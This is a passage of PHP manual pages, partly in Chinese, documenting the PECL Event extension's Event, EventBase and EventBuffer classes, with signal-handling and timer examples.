  1. Whenever the socket or file descriptor is ready for reading.

  2. Whenever five seconds have passed since the event last became active.

See also » Fast portable non-blocking network programming with Libevent, About Event Persistence

User Contributed Notes

There are no user contributed notes for this page.


Event callbacks

If a callback is registered for an event, it will be called when the event becomes active. To associate a callback with event one can pass a callable to either Event::__construct() , or Event::set() , or one of the factory methods like Event::timer() .

An event callback should match the following prototype:

callback( mixed $fd = null , int $what = ?, mixed $arg = null ): void

fd

The file descriptor, stream resource or socket associated with the event. For signal event fd is equal to the signal number.

what

Bit mask of all events triggered.

arg

User custom data.

Event::timer() expects the callback to match the following prototype:

callback( mixed $arg = null ): void

arg

User custom data.

Event::signal() expects the callback to match the following prototype:

callback( int $signum = ?, mixed $arg = null ): void

signum

The number of the triggered signal(e.g. SIGTERM ).

arg

User custom data.

User Contributed Notes

xilon dot jul at gmail dot com 27-May-2013 03:23
For event timers, the callback prototype is equivalent to sockets related callback. User arguments are given as the third parameter.

This has been tested under : Event version 1.6.1


Constructing signal events

Event can also watch for POSIX-style signals. To construct a handler for a signal, use Event::__construct() constructor with Event::SIGNAL flag, or Event::signal() factory method.

Example #1 Handling SIGTERM signal

<?php
/*
Launch it in a terminal window:

$ php examples/signal.php

In another terminal window find out the pid and send SIGTERM, e.g.:

$ ps aux | grep examp
ruslan 3976 0.2 0.0 139896 11256 pts/1 S+ 10:25 0:00 php examples/signal.php
ruslan 3978 0.0 0.0 9572 864 pts/2 S+ 10:26 0:00 grep --color=auto examp
$ kill -TERM 3976

At the first terminal window you should catch the following:

Caught signal 15
*/
class MyEventSignal {
private $base, $ev;

public function __construct($base) {
$this->base = $base;
$this->ev = Event::signal($base, SIGTERM, array($this, 'eventSighandler'));
$this->ev->add();
}

public function eventSighandler($no, $c) {
echo "Caught signal $no\n";
$this->base->exit();
}
}

$base = new EventBase();
$c = new MyEventSignal($base);

$base->loop();
?>

Note that signal callbacks are run in the event loop after the signal occurs, so it is safe for them to call functions that you are not supposed to call from a regular POSIX signal handler.

See also » Fast portable non-blocking network programming with Libevent, Constructing Signal Events .

User Contributed Notes

There are no user contributed notes for this page.


The Event class

(PECL event >= 1.2.6-beta)

简介

Event class represents and event firing on a file descriptor being ready to read from or write to; a file descriptor becoming ready to read from or write to(edge-triggered I/O only); a timeout expiring; a signal occurring; a user-triggered event.

Every event is associated with EventBase . However, event will never fire until it is added (via Event::add() ). An added event remains in pending state until the registered event occurs, thus turning it to active state. To handle events user may register a callback which is called when event becomes active. If event is configured persistent , it remains pending. If it is not persistent, it stops being pending when it's callback runs. Event::del() method deletes event, thus making it non-pending. By means of Event::add() method it could be added again.

类摘要

final class Event {
/* 常量 */
const int ET = 32;
const int PERSIST = 16;
const int READ = 2;
const int WRITE = 4;
const int SIGNAL = 8;
const int TIMEOUT = 1;
/* 属性 */
public readonly bool $pending;
/* 方法 */
public add( float $timeout = ?): bool
public __construct(
EventBase $base ,
mixed $fd ,
int $what ,
callable $cb ,
mixed $arg = NULL
)
public del(): bool
public free(): void
public static getSupportedMethods(): array
public pending( int $flags ): bool
public set(
EventBase $base ,
mixed $fd ,
int $what = ?,
callable $cb = ?,
mixed $arg = ?
): bool
public setPriority( int $priority ): bool
public setTimer( EventBase $base , callable $cb , mixed $arg = ?): bool
public static signal(
EventBase $base ,
int $signum ,
callable $cb ,
mixed $arg = ?
): Event
public static timer( EventBase $base , callable $cb , mixed $arg = ?): Event
}

属性

pending

Whether event is pending. See About event persistence .

预定义常量

Event::ET

Indicates that the event should be edge-triggered, if the underlying event base backend supports edge-triggered events. This affects the semantics of Event::READ and Event::WRITE .

Event::PERSIST

Indicates that the event is persistent. See About event persistence .

Event::READ

This flag indicates an event that becomes active when the provided file descriptor(usually a stream resource, or socket) is ready for reading.

Event::WRITE

This flag indicates an event that becomes active when the provided file descriptor(usually a stream resource, or socket) is ready for reading.

Event::SIGNAL

Used to implement signal detection. See "Constructing signal events" below.

Event::TIMEOUT

This flag indicates an event that becomes active after a timeout elapses.

The Event::TIMEOUT flag is ignored when constructing an event: one can either set a timeout when event is added , or not. It is set in the $what argument to the callback function when a timeout has occurred.

Table of Contents

  • Event::add — Makes event pending
  • Event::addSignal — 别名 Event::add
  • Event::addTimer — 别名 Event::add
  • Event::__construct — Constructs Event object
  • Event::del — Makes event non-pending
  • Event::delSignal — 别名 Event::del
  • Event::delTimer — 别名 Event::del
  • Event::free — Make event non-pending and free resources allocated for this event
  • Event::getSupportedMethods — Returns array with of the names of the methods supported in this version of Libevent
  • Event::pending — Detects whether event is pending or scheduled
  • Event::set — Re-configures event
  • Event::setPriority — Set event priority
  • Event::setTimer — Re-configures timer event
  • Event::signal — Constructs signal event object
  • Event::timer — Constructs timer event object

User Contributed Notes

There are no user contributed notes for this page.


Makes event pending

  • ? Event
  • Event::addSignal ?
  • PHP Manual
  • Event
  • Makes event pending

Event::add

(PECL event >= 1.2.6-beta)

Event::add — Makes event pending

说明

public Event::add( float $timeout = ?): bool

Marks event pending. Non-pending event will never occur, and the event callback will never be called. In conjunction with Event::del() an event could be re-scheduled by user at any time.

If Event::add() is called on an already pending event, libevent will leave it pending and re-schedule it with the given timeout(if specified). If in this case timeout is not specified, Event::add() has no effect.

参数

timeout

Timeout in seconds.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Adding a custom signal

<?php
/*
Launch it in a terminal window:

$ php examples/signal.php

In another terminal window find out the pid and send SIGTERM, e.g.:

$ ps aux | grep examp
ruslan 3976 0.2 0.0 139896 11256 pts/1 S+ 10:25 0:00 php examples/signal.php
ruslan 3978 0.0 0.0 9572 864 pts/2 S+ 10:26 0:00 grep --color=auto examp
$ kill -TERM 3976

At the first terminal window you should catch the following:

Caught signal 15
*/
class MyEventSignal {
private $base, $ev;

public function __construct($base) {
$this->base = $base;
$this->ev = Event::signal($base, SIGTERM, array($this, 'eventSighandler'));
$this->ev->add();
}

public function eventSighandler($no, $c) {
echo "Caught signal $no\n";
$this->base->exit();
}
}

$base = new EventBase();
$c = new MyEventSignal($base);

$base->loop();
?>

以上示例的输出类似于：

Caught signal 15

Example #2 Adding a timer

<?php
$base = new EventBase();
$n = 2;
$e = Event::timer($base, function($n) use (&$e) {
echo "$n seconds elapsed\n";
$e->delTimer();
}, $n);
$e->add($n);
$base->loop();
?>

以上示例的输出类似于：

2 seconds elapsed

参见

  • Event::add()
  • Event::del() - Makes event non-pending
  • Event::signal() - Constructs signal event object
  • Event::timer() - Constructs timer event object

User Contributed Notes

There are no user contributed notes for this page.


别名 Event::add

  • ? Event::add
  • Event::addTimer ?
  • PHP Manual
  • Event
  • 别名 Event::add

Event::addSignal

(PECL event >= 1.2.6-beta)

Event::addSignal — 别名 Event::add()

说明

此方法是该方法的别名： Event::add()

User Contributed Notes

There are no user contributed notes for this page.


别名 Event::add

  • ? Event::addSignal
  • Event::__construct ?
  • PHP Manual
  • Event
  • 别名 Event::add

Event::addTimer

(PECL event >= 1.2.6-beta)

Event::addTimer — 别名 Event::add()

说明

此方法是该方法的别名： Event::add()

User Contributed Notes

There are no user contributed notes for this page.


Constructs Event object

  • ? Event::addTimer
  • Event::del ?
  • PHP Manual
  • Event
  • Constructs Event object

Event::__construct

(PECL event >= 1.2.6-beta)

Event::__construct — Constructs Event object

说明

public Event::__construct(
EventBase $base ,
mixed $fd ,
int $what ,
callable $cb ,
mixed $arg = NULL
)

Constructs Event object.

参数

base

The event base to associate with.

fd

stream resource, socket resource, or numeric file descriptor. For timer events pass -1 . For signal events pass the signal number, e.g. SIGHUP .

what

Event flags. See Event flags .

cb

The event callback. See Event callbacks .

arg

Custom data. If specified, it will be passed to the callback when event triggers.

返回值

Returns Event object.

参见

  • Event::signal() - Constructs signal event object
  • Event::timer() - Constructs timer event object

User Contributed Notes

There are no user contributed notes for this page.


Makes event non-pending

  • ? Event::__construct
  • Event::delSignal ?
  • PHP Manual
  • Event
  • Makes event non-pending

Event::del

(PECL event >= 1.2.6-beta)

Event::del — Makes event non-pending

说明

public Event::del(): bool

Removes an event from the set of monitored events, i.e. makes it non-pending.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • Event::add() - Makes event pending

User Contributed Notes

There are no user contributed notes for this page.


别名 Event::del

  • ? Event::del
  • Event::delTimer ?
  • PHP Manual
  • Event
  • 别名 Event::del

Event::delSignal

(PECL event >= 1.2.6-beta)

Event::delSignal — 别名 Event::del()

说明

此方法是该方法的别名： Event::del()

User Contributed Notes

There are no user contributed notes for this page.


别名 Event::del

  • ? Event::delSignal
  • Event::free ?
  • PHP Manual
  • Event
  • 别名 Event::del

Event::delTimer

(PECL event >= 1.2.6-beta)

Event::delTimer — 别名 Event::del()

说明

此方法是该方法的别名： Event::del()

User Contributed Notes

There are no user contributed notes for this page.


Make event non-pending and free resources allocated for this event

  • ? Event::delTimer
  • Event::getSupportedMethods ?
  • PHP Manual
  • Event
  • Make event non-pending and free resources allocated for this event

Event::free

(PECL event >= 1.2.6-beta)

Event::free — Make event non-pending and free resources allocated for this event

说明

public Event::free(): void

Removes event from the list of events monitored by libevent, and free resources allocated for the event.

Warning

The Event::free() method currently doesn't destruct the object itself. To destruct the object completely call unset() , or assign null.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • Event::__construct() - Constructs Event object

User Contributed Notes

There are no user contributed notes for this page.


Returns array with of the names of the methods supported in this version of Libevent

  • ? Event::free
  • Event::pending ?
  • PHP Manual
  • Event
  • Returns array with of the names of the methods supported in this version of Libevent

Event::getSupportedMethods

(PECL event >= 1.2.6-beta)

Event::getSupportedMethods — Returns array with of the names of the methods supported in this version of Libevent

说明

public static Event::getSupportedMethods(): array

Returns array with of the names of the methods(backends) supported in this version of Libevent.

参数

此函数没有参数。

返回值

Returns array.

参见

  • EventConfig

User Contributed Notes

There are no user contributed notes for this page.


Detects whether event is pending or scheduled

  • ? Event::getSupportedMethods
  • Event::set ?
  • PHP Manual
  • Event
  • Detects whether event is pending or scheduled

Event::pending

(PECL event >= 1.2.6-beta)

Event::pending — Detects whether event is pending or scheduled

说明

public Event::pending( int $flags ): bool

Detects whether event is pending or scheduled

参数

flags

One of, or a composition of the following constants: Event::READ , Event::WRITE , Event::TIMEOUT , Event::SIGNAL .

返回值

Returns true if event is pending or scheduled. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


Re-configures event

  • ? Event::pending
  • Event::setPriority ?
  • PHP Manual
  • Event
  • Re-configures event

Event::set

(PECL event >= 1.2.6-beta)

Event::set — Re-configures event

说明

public Event::set(
EventBase $base ,
mixed $fd ,
int $what = ?,
callable $cb = ?,
mixed $arg = ?
): bool

Re-configures event. Note, this function doesn't invoke obsolete libevent's event_set. It calls event_assign instead.

参数

base

The event base to associate the event with.

fd

Stream resource, socket resource, or numeric file descriptor. For timer events pass -1 . For signal events pass the signal number, e.g. SIGHUP .

what

See Event flags .

cb

The event callback. See Event callbacks .

arg

Custom data associated with the event. It will be passed to the callback when the event becomes active.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Set event priority

  • ? Event::set
  • Event::setTimer ?
  • PHP Manual
  • Event
  • Set event priority

Event::setPriority

(PECL event >= 1.2.6-beta)

Event::setPriority — Set event priority

说明

public Event::setPriority( int $priority ): bool

Set event priority.

参数

priority

The event priority.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

Igor K 15-Jun-2020 03:50
$priority argument should be declared as float, because function expects float value in range between 0 and 1.
Otherwise you get "Unable to set event priority" error.


Re-configures timer event

  • ? Event::setPriority
  • Event::signal ?
  • PHP Manual
  • Event
  • Re-configures timer event

Event::setTimer

(PECL event >= 1.2.6-beta)

Event::setTimer — Re-configures timer event

说明

public Event::setTimer( EventBase $base , callable $cb , mixed $arg = ?): bool

Re-configures timer event. Note, this function doesn't invoke obsolete libevent's event_set . It calls event_assign instead.

参数

base

The event base to associate with.

cb

The timer event callback. See Event callbacks .

arg

Custom data. If specified, it will be passed to the callback when event triggers.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • Event::__construct() - Constructs Event object
  • Event::timer() - Constructs timer event object

User Contributed Notes

There are no user contributed notes for this page.


Constructs signal event object

  • ? Event::setTimer
  • Event::timer ?
  • PHP Manual
  • Event
  • Constructs signal event object

Event::signal

(PECL event >= 1.2.6-beta)

Event::signal — Constructs signal event object

说明

public static Event::signal(
EventBase $base ,
int $signum ,
callable $cb ,
mixed $arg = ?
): Event

Constructs signal event object. This is a straightforward method to create a signal event. Note, the generic Event::__construct() method can contruct signal event objects too.

参数

base

The associated event base object.

signum

The signal number.

cb

The signal event callback. See Event callbacks .

arg

Custom data. If specified, it will be passed to the callback when event triggers.

返回值

Returns Event object on success. Otherwise false.

参见

  • Constructing signal events

User Contributed Notes

There are no user contributed notes for this page.


Constructs timer event object

  • ? Event::signal
  • EventBase ?
  • PHP Manual
  • Event
  • Constructs timer event object

Event::timer

(PECL event >= 1.2.6-beta)

Event::timer — Constructs timer event object

说明

public static Event::timer( EventBase $base , callable $cb , mixed $arg = ?): Event

Constructs timer event object. This is a straightforward method to create a timer event. Note, the generic Event::__construct() method can contruct signal event objects too.

参数

base

The associated event base object.

cb

The signal event callback. See Event callbacks .

arg

Custom data. If specified, it will be passed to the callback when event triggers.

返回值

Returns Event object on success. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


The EventBase class

(PECL event >= 1.2.6-beta)

简介

EventBase class represents libevent's event base structure. It holds a set of events and can poll to determine which events are active.

Each event base has a method , or a backend that it uses to determine which events are ready. The recognized methods are: select , poll , epoll , kqueue , devpoll , evport and win32 .

To configure event base to use, or avoid specific backend EventConfig class can be used.

Warning

Do NOT destroy the EventBase object as long as resources of the associated Event objects are not released. Otherwise, it will lead to unpredictable results!

类摘要

final class EventBase {
/* 常量 */
const int LOOP_ONCE = 1;
const int LOOP_NONBLOCK = 2;
const int NOLOCK = 1;
const int STARTUP_IOCP = 4;
const int NO_CACHE_TIME = 8;
const int EPOLL_USE_CHANGELIST = 16;
/* 方法 */
public __construct( EventConfig $cfg = ?)
public dispatch(): void
public exit( float $timeout = ?): bool
public free(): void
public getFeatures(): int
public getMethod(): string
public getTimeOfDayCached(): float
public gotExit(): bool
public gotStop(): bool
public loop( int $flags = ?): bool
public priorityInit( int $n_priorities ): bool
public reInit(): bool
public stop(): bool
}

预定义常量

EventBase::LOOP_ONCE

Flag used with EventBase::loop() method which means: "block until libevent has an active event, then exit once all active events have had their callbacks run".

EventBase::LOOP_NONBLOCK

Flag used with EventBase::loop() method which means: "do not block: see which events are ready now, run the callbacks of the highest-priority ones, then exit".

EventBase::NOLOCK

Configuration flag. Do not allocate a lock for the event base, even if we have locking set up".

EventBase::STARTUP_IOCP

Windows-only configuration flag. Enables the IOCP dispatcher at startup.

EventBase::NO_CACHE_TIME

Configuration flag. Instead of checking the current time every time the event loop is ready to run timeout callbacks, check after each timeout callback.

EventBase::EPOLL_USE_CHANGELIST

If we are using the epoll backend, this flag says that it is safe to use Libevent's internal change-list code to batch up adds and deletes in order to try to do as few syscalls as possible.

Setting this flag can make code run faster, but it may trigger a Linux bug: it is not safe to use this flag if one has any fds cloned by dup(), or its variants. Doing so will produce strange and hard-to-diagnose bugs.

This flag can also be activated by settnig the EVENT_EPOLL_USE_CHANGELIST environment variable.

This flag has no effect if one winds up using a backend other than epoll .

Table of Contents

  • EventBase::__construct — 构造 EventBase 对象
  • EventBase::dispatch — Dispatch pending events
  • EventBase::exit — Stop dispatching events
  • EventBase::free — Free resources allocated for this event base
  • EventBase::getFeatures — Returns bitmask of features supported
  • EventBase::getMethod — Returns event method in use
  • EventBase::getTimeOfDayCached — Returns the current event base time
  • EventBase::gotExit — Checks if the event loop was told to exit
  • EventBase::gotStop — Checks if the event loop was told to exit
  • EventBase::loop — Dispatch pending events
  • EventBase::priorityInit — Sets number of priorities per event base
  • EventBase::reInit — Re-initialize event base(after a fork)
  • EventBase::stop — Tells event_base to stop dispatching events

User Contributed Notes

There are no user contributed notes for this page.


构造 EventBase 对象

  • ? EventBase
  • EventBase::dispatch ?
  • PHP Manual
  • EventBase
  • 构造 EventBase 对象

EventBase::__construct

(PECL event >= 1.2.6-beta)

EventBase::__construct — 构造 EventBase 对象

说明

public EventBase::__construct( EventConfig $cfg = ?)

构造 EventBase 对象

参数

cfg

可选的 EventConfig 对象。

返回值

返回 EventBase 对象。

参见

  • EventConfig

User Contributed Notes

There are no user contributed notes for this page.


Dispatch pending events

  • ? EventBase::__construct
  • EventBase::exit ?
  • PHP Manual
  • EventBase
  • Dispatch pending events

EventBase::dispatch

(PECL event >= 1.2.6-beta)

EventBase::dispatch — Dispatch pending events

说明

public EventBase::dispatch(): void

Wait for events to become active, and run their callbacks. The same as EventBase::loop() with no flags set.

Warning

Do NOT destroy the EventBase object as long as resources of the associated Event objects are not released. Otherwise, it will lead to unpredictable results!

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBase::loop() - Dispatch pending events

User Contributed Notes

There are no user contributed notes for this page.


Stop dispatching events

  • ? EventBase::dispatch
  • EventBase::free ?
  • PHP Manual
  • EventBase
  • Stop dispatching events

EventBase::exit

(PECL event >= 1.2.6-beta)

EventBase::exit — Stop dispatching events

说明

public EventBase::exit( float $timeout = ?): bool

Tells event base to stop optionally after given number of seconds.

参数

timeout

Optional number of seconds after which the event base should stop dispatching events.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBase::stop() - Tells event_base to stop dispatching events

User Contributed Notes

There are no user contributed notes for this page.


Free resources allocated for this event base

  • ? EventBase::exit
  • EventBase::getFeatures ?
  • PHP Manual
  • EventBase
  • Free resources allocated for this event base

EventBase::free

(PECL event >= 1.10.0)

EventBase::free — Free resources allocated for this event base

说明

public EventBase::free(): void

Deallocates resources allocated by libevent for the EventBase object.

Warning

The EventBase::free() method doesn't destruct the object itself. To destruct the object completely call unset() , or assign null.

This method does not deallocate or detach any of the events that are currently associated with the EventBase object, or close any of their sockets - beware.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • EventBase::__construct() - 构造 EventBase 对象

User Contributed Notes

There are no user contributed notes for this page.


Returns bitmask of features supported

  • ? EventBase::free
  • EventBase::getMethod ?
  • PHP Manual
  • EventBase
  • Returns bitmask of features supported

EventBase::getFeatures

(PECL event >= 1.2.6-beta)

EventBase::getFeatures — Returns bitmask of features supported

说明

public EventBase::getFeatures(): int

Returns bitmask of features supported.

参数

此函数没有参数。

返回值

Returns integer representing a bitmask of supported features. See EventConfig::FEATURE_* constants .

示例

Example #1 EventBase::getFeatures() example

<?php
// Avoiding "select" method
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
echo "'select' method avoided\n";
}

$base = new EventBase($cfg);

echo "Features:\n";
$features = $base->getFeatures();
($features & EventConfig::FEATURE_ET) and print "ET - edge-triggered IO\n";
($features & EventConfig::FEATURE_O1) and print "O1 - O(1) operation for adding/deleting events\n";
($features & EventConfig::FEATURE_FDS) and print "FDS - arbitrary file descriptor types, and not just sockets\n";
?>

参见

  • EventBase::getMethod() - Returns event method in use
  • EventConfig

User Contributed Notes

There are no user contributed notes for this page.


Returns event method in use

  • ? EventBase::getFeatures
  • EventBase::getTimeOfDayCached ?
  • PHP Manual
  • EventBase
  • Returns event method in use

EventBase::getMethod

(PECL event >= 1.2.6-beta)

EventBase::getMethod — Returns event method in use

说明

public EventBase::getMethod(): string

参数

此函数没有参数。

返回值

String representing used event method(backend).

示例

Example #1 EventBase::getMethod() example

<?php
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
echo "'select' method avoided\n";
}

// Create event_base associated with the config
$base = new EventBase($cfg);
echo "Event method used: ", $base->getMethod(), PHP_EOL;

?>

以上示例的输出类似于：

`select' method avoided
Event method used: epoll

参见

  • EventBase::getFeatures() - Returns bitmask of features supported

User Contributed Notes

There are no user contributed notes for this page.


Returns the current event base time

  • ? EventBase::getMethod
  • EventBase::gotExit ?
  • PHP Manual
  • EventBase
  • Returns the current event base time

EventBase::getTimeOfDayCached

(PECL event >= 1.2.6-beta)

EventBase::getTimeOfDayCached — Returns the current event base time

说明

public EventBase::getTimeOfDayCached(): float

On success returns the current time(as returned by gettimeofday() ), looking at the cached value in base if possible, and calling gettimeofday() or clock_gettime() as appropriate if there is no cached time.

参数

此函数没有参数。

返回值

Returns the current event base time. On failure returns null.

User Contributed Notes

There are no user contributed notes for this page.


Checks if the event loop was told to exit

  • ? EventBase::getTimeOfDayCached
  • EventBase::gotStop ?
  • PHP Manual
  • EventBase
  • Checks if the event loop was told to exit

EventBase::gotExit

(PECL event >= 1.2.6-beta)

EventBase::gotExit — Checks if the event loop was told to exit

说明

public EventBase::gotExit(): bool

Checks if the event loop was told to exit by EventBase::exit() .

参数

此函数没有参数。

返回值

Returns true, event loop was told to exit by EventBase::exit() . Otherwise false.

参见

  • EventBase::exit() - Stop dispatching events
  • EventBase::stop() - Tells event_base to stop dispatching events
  • EventBase::gotStop() - Checks if the event loop was told to exit

User Contributed Notes

There are no user contributed notes for this page.


Checks if the event loop was told to exit

  • ? EventBase::gotExit
  • EventBase::loop ?
  • PHP Manual
  • EventBase
  • Checks if the event loop was told to exit

EventBase::gotStop

(PECL event >= 1.2.6-beta)

EventBase::gotStop — Checks if the event loop was told to exit

说明

public EventBase::gotStop(): bool

Checks if the event loop was told to exit by EventBase::stop() .

参数

此函数没有参数。

返回值

Returns true, event loop was told to stop by EventBase::stop() . Otherwise false.

参见

  • EventBase::exit() - Stop dispatching events
  • EventBase::stop() - Tells event_base to stop dispatching events
  • EventBase::gotExit() - Checks if the event loop was told to exit

User Contributed Notes

There are no user contributed notes for this page.


Dispatch pending events

  • ? EventBase::gotStop
  • EventBase::priorityInit ?
  • PHP Manual
  • EventBase
  • Dispatch pending events

EventBase::loop

(PECL event >= 1.2.6-beta)

EventBase::loop — Dispatch pending events

说明

public EventBase::loop( int $flags = ?): bool

Wait for events to become active, and run their callbacks.

Warning

Do NOT destroy the EventBase object as long as resources of the associated Event objects are not released. Otherwise, it will lead to unpredictable results!

参数

flags

Optional flags. One of EventBase::LOOP_* constants. See EventBase constants .

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBase::dispatch() - Dispatch pending events

User Contributed Notes

There are no user contributed notes for this page.


Sets number of priorities per event base

  • ? EventBase::loop
  • EventBase::reInit ?
  • PHP Manual
  • EventBase
  • Sets number of priorities per event base

EventBase::priorityInit

(PECL event >= 1.2.6-beta)

EventBase::priorityInit — Sets number of priorities per event base

说明

public EventBase::priorityInit( int $n_priorities ): bool

Sets number of priorities per event base.

参数

n_priorities

The number of priorities per event base.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • Event::setPriority() - Set event priority

User Contributed Notes

There are no user contributed notes for this page.


Re-initialize event base(after a fork)

  • ? EventBase::priorityInit
  • EventBase::stop ?
  • PHP Manual
  • EventBase
  • Re-initialize event base(after a fork)

EventBase::reInit

(PECL event >= 1.2.6-beta)

EventBase::reInit — Re-initialize event base(after a fork)

说明

public EventBase::reInit(): bool

Re-initialize event base. Should be called after a fork.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Tells event_base to stop dispatching events

  • ? EventBase::reInit
  • EventBuffer ?
  • PHP Manual
  • EventBase
  • Tells event_base to stop dispatching events

EventBase::stop

(PECL event >= 1.2.6-beta)

EventBase::stop — Tells event_base to stop dispatching events

说明

public EventBase::stop(): bool

Tells event_base to stop dispatching events

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBase::exit() - Stop dispatching events
  • EventBase::gotStop() - Checks if the event loop was told to exit

User Contributed Notes

There are no user contributed notes for this page.


The EventBuffer class

(PECL event >= 1.5.0)

简介

EventBuffer represents Libevent's "evbuffer", an utility functionality for buffered I/O.

Event buffers are meant to be generally useful for doing the "buffer" part of buffered network I/O.

类摘要

class EventBuffer {
/* 常量 */
const int EOL_ANY = 0;
const int EOL_CRLF = 1;
const int EOL_CRLF_STRICT = 2;
const int EOL_LF = 3;
const int PTR_SET = 0;
const int PTR_ADD = 1;
/* 属性 */
public readonly int $length;
public readonly int $contiguous_space;
/* 方法 */
public add( string $data ): bool
public addBuffer( EventBuffer $buf ): bool
public appendFrom( EventBuffer $buf , int $len ): int
public __construct()
public copyout( string &$data , int $max_bytes ): int
public drain( int $len ): bool
public enableLocking(): void
public expand( int $len ): bool
public freeze( bool $at_front ): bool
public lock(): void
public prepend( string $data ): bool
public prependBuffer( EventBuffer $buf ): bool
public pullup( int $size ): string
public read( int $max_bytes ): string
public read( mixed $fd , int $howmuch ): int
public readLine( int $eol_style ): string
public search( string $what , int $start = -1 , int $end = -1 ): mixed
public searchEol( int $start = -1 , int $eol_style = EventBuffer::EOL_ANY ): mixed
public substr( int $start , int $length = ?): string
public unfreeze( bool $at_front ): bool
public unlock(): bool
public write( mixed $fd , int $howmuch = ?): int
}

属性

length

The number of bytes stored in an event buffer.

contiguous_space

The number of bytes stored contiguously at the front of the buffer. The bytes in a buffer may be stored in multiple separate chunks of memory; the property returns the number of bytes currently stored in the first chunk.

预定义常量

EventBuffer::EOL_ANY

The end of line is any sequence of any number of carriage return and linefeed characters. This format is not very useful; it exists mainly for backward compatibility.

EventBuffer::EOL_CRLF

The end of the line is an optional carriage return, followed by a linefeed. (In other words, it is either a "\r\n" or a "\n" .) This format is useful in parsing text-based Internet protocols, since the standards generally prescribe a "\r\n" line-terminator, but nonconformant clients sometimes say just "\n" .

EventBuffer::EOL_CRLF_STRICT

The end of a line is a single carriage return, followed by a single linefeed. (This is also known as "\r\n" . The ASCII values are 0x0D 0x0A ).

EventBuffer::EOL_LF

The end of a line is a single linefeed character. (This is also known as "\n" . It is ASCII value is 0x0A .)

EventBuffer::PTR_SET

Flag used as argument of EventBuffer::setPosition() method. If this flag specified, the position pointer is moved to an absolute position within the buffer.

EventBuffer::PTR_ADD

The same as EventBuffer::PTR_SET , except this flag causes EventBuffer::setPosition() method to move position forward up to the specified number of bytes(instead of setting absolute position).

Table of Contents

  • EventBuffer::add — Append data to the end of an event buffer
  • EventBuffer::addBuffer — Move all data from a buffer provided to the current instance of EventBuffer
  • EventBuffer::appendFrom — Moves the specified number of bytes from a source buffer to the end of the current buffer
  • EventBuffer::__construct — Constructs EventBuffer object
  • EventBuffer::copyout — Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain — Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::enableLocking — 说明
  • EventBuffer::expand — Reserves space in buffer
  • EventBuffer::freeze — Prevent calls that modify an event buffer from succeeding
  • EventBuffer::lock — Acquires a lock on buffer
  • EventBuffer::prepend — Prepend data to the front of the buffer
  • EventBuffer::prependBuffer — Moves all data from source buffer to the front of current buffer
  • EventBuffer::pullup — Linearizes data within buffer and returns it's contents as a string
  • EventBuffer::read — Read data from an evbuffer and drain the bytes read
  • EventBuffer::readFrom — Read data from a file onto the end of the buffer
  • EventBuffer::readLine — Extracts a line from the front of the buffer
  • EventBuffer::search — Scans the buffer for an occurrence of a string
  • EventBuffer::searchEol — Scans the buffer for an occurrence of an end of line
  • EventBuffer::substr — Substracts a portion of the buffer data
  • EventBuffer::unfreeze — Re-enable calls that modify an event buffer
  • EventBuffer::unlock — Releases lock acquired by EventBuffer::lock
  • EventBuffer::write — Write contents of the buffer to a file or socket

User Contributed Notes

There are no user contributed notes for this page.


Append data to the end of an event buffer

  • ? EventBuffer
  • EventBuffer::addBuffer ?
  • PHP Manual
  • EventBuffer
  • Append data to the end of an event buffer

EventBuffer::add

(PECL event >= 1.2.6-beta)

EventBuffer::add — Append data to the end of an event buffer

说明

public EventBuffer::add( string $data ): bool

Append data to the end of an event buffer.

参数

data

String to be appended to the end of the buffer.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBuffer::addBuffer() - Move all data from a buffer provided to the current instance of EventBuffer

User Contributed Notes

There are no user contributed notes for this page.


Move all data from a buffer provided to the current instance of EventBuffer

  • ? EventBuffer::add
  • EventBuffer::appendFrom ?
  • PHP Manual
  • EventBuffer
  • Move all data from a buffer provided to the current instance of EventBuffer

EventBuffer::addBuffer

(PECL event >= 1.2.6-beta)

EventBuffer::addBuffer — Move all data from a buffer provided to the current instance of EventBuffer

说明

public EventBuffer::addBuffer( EventBuffer $buf ): bool

Move all data from the buffer provided in buf parameter to the end of current EventBuffer . This is a destructive add. The data from one buffer moves into the other buffer. However, no unnecessary memory copies occur.

参数

buf

The source EventBuffer object.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventBuffer::add() - Append data to the end of an event buffer

User Contributed Notes

There are no user contributed notes for this page.


Moves the specified number of bytes from a source buffer to the end of the current buffer

  • ? EventBuffer::addBuffer
  • EventBuffer::__construct ?
  • PHP Manual
  • EventBuffer
  • Moves the specified number of bytes from a source buffer to the end of the current buffer

EventBuffer::appendFrom

(PECL event >= 1.6.0)

EventBuffer::appendFrom — Moves the specified number of bytes from a source buffer to the end of the current buffer

说明

public EventBuffer::appendFrom( EventBuffer $buf , int $len ): int

Moves the specified number of bytes from a source buffer to the end of the current buffer. If there are fewer number of bytes, it moves all the bytes available from the source buffer.

参数

buf

Source buffer.

len

返回值

Returns the number of bytes read.

更新日志

版本 | 说明
PECL event 1.6.0 | Renamed EventBuffer::appendFrom()(the old method name) to EventBuffer::appendFrom().

参见

  • EventBuffer::copyout() - Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain() - Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::pullup() - Linearizes data within buffer and returns it's contents as a string
  • EventBuffer::readLine() - Extracts a line from the front of the buffer
  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read

